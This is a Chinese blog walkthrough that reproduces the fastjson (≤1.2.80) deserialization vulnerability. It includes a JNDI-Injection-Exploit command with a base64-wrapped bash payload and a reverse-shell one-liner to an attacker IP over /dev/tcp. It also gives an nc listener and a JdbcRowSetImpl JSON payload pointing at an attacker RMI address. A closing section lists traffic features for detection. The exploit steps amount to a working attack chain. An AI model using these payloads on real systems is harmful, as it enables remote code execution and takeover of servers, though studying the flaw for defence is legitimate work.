复现fastjson反序化漏洞(fastjson≤1.2.80)

 写在前面,本文利用JNDI-Injection-Exploit工具,若文章有理解错误或表述错误的地方,欢迎大家在评论区指正。

目录

一、介绍fastjson

二、简述fastjson反序化漏洞原理

三、全流程复现fastjson反序化漏洞

 1、利用JNDI-Injection-Exploit开启服务、开启监听

 3、抓包发送payload

 4、成功反弹shell

四、总结

五、流量特征


一、介绍fastjson

Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象。Fastjson可以与任意Java对象一起使用,包括您没有源代码的现有对象。

二、简述fastjson反序化漏洞原理

parse进行反序化时,在json中如果识别到“@type”,会自动的实例化对应的他值,所以可以构造一个恶意json进行攻击。利用rmi协议,实现JAVA远程方法调用。JNDI-Injection-Exploit工具可以实现恶意类的创建,开启rmi、ldap协议。

三、全流程复现fastjson反序化漏洞

 1、利用JNDI-Injection-Exploit开启服务、开启监听

其中 -C “执行命令”  -A 攻击机ip

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxxx}|{base64,-d}|{bash,-i}" -A xxx.xxx.xxx.xxx

 请将上述xxxx内容替换为的下面反弹shell命令的base64编码

bash -i >/dev/tcp/xxx.xxx.xxx.xxx/port 0>&1

使用bash -c {echo,xxxx}|{base64,-d}|{bash,-i}形式可以避免反弹时的一些问题,此处不再赘述,可以自行查找绕过exec反弹shell的相关知识。

这里使用nc进行监听

 

 3、抓包发送payload

原始payload,此payload使用了com.sun.rowset.JdbcRowSetImpl攻击链,还可以使用其他攻击链,此处就以Jdbc攻击链为例。

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xxx.xxx.xxx.xxx:port/xxxx",
        "autoCommit":true
    }
}

将JNDI-Injection-Exploit工具生成的rmi协议地址复制到上述payload相应位置,注意JDK版本

注意请求细节

 4、成功反弹shell

四、总结

 此攻击利用方式存在于特定依赖存在下影响 fastjson≤1.2.80

漏洞主要是利用json中“@type”键对应的value指定任意反序列化类名

此文章使用JNDI-Injection-Exploit工具,主要作用是提供rmi/ldap协议,恶意Java类并架在http协议中。

五、流量特征

JSON格式的请求

请求体中出现@type
有jdbc利用链或其他利用链的特征
服务端响应500(有可能) 200(可能性低一点)

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值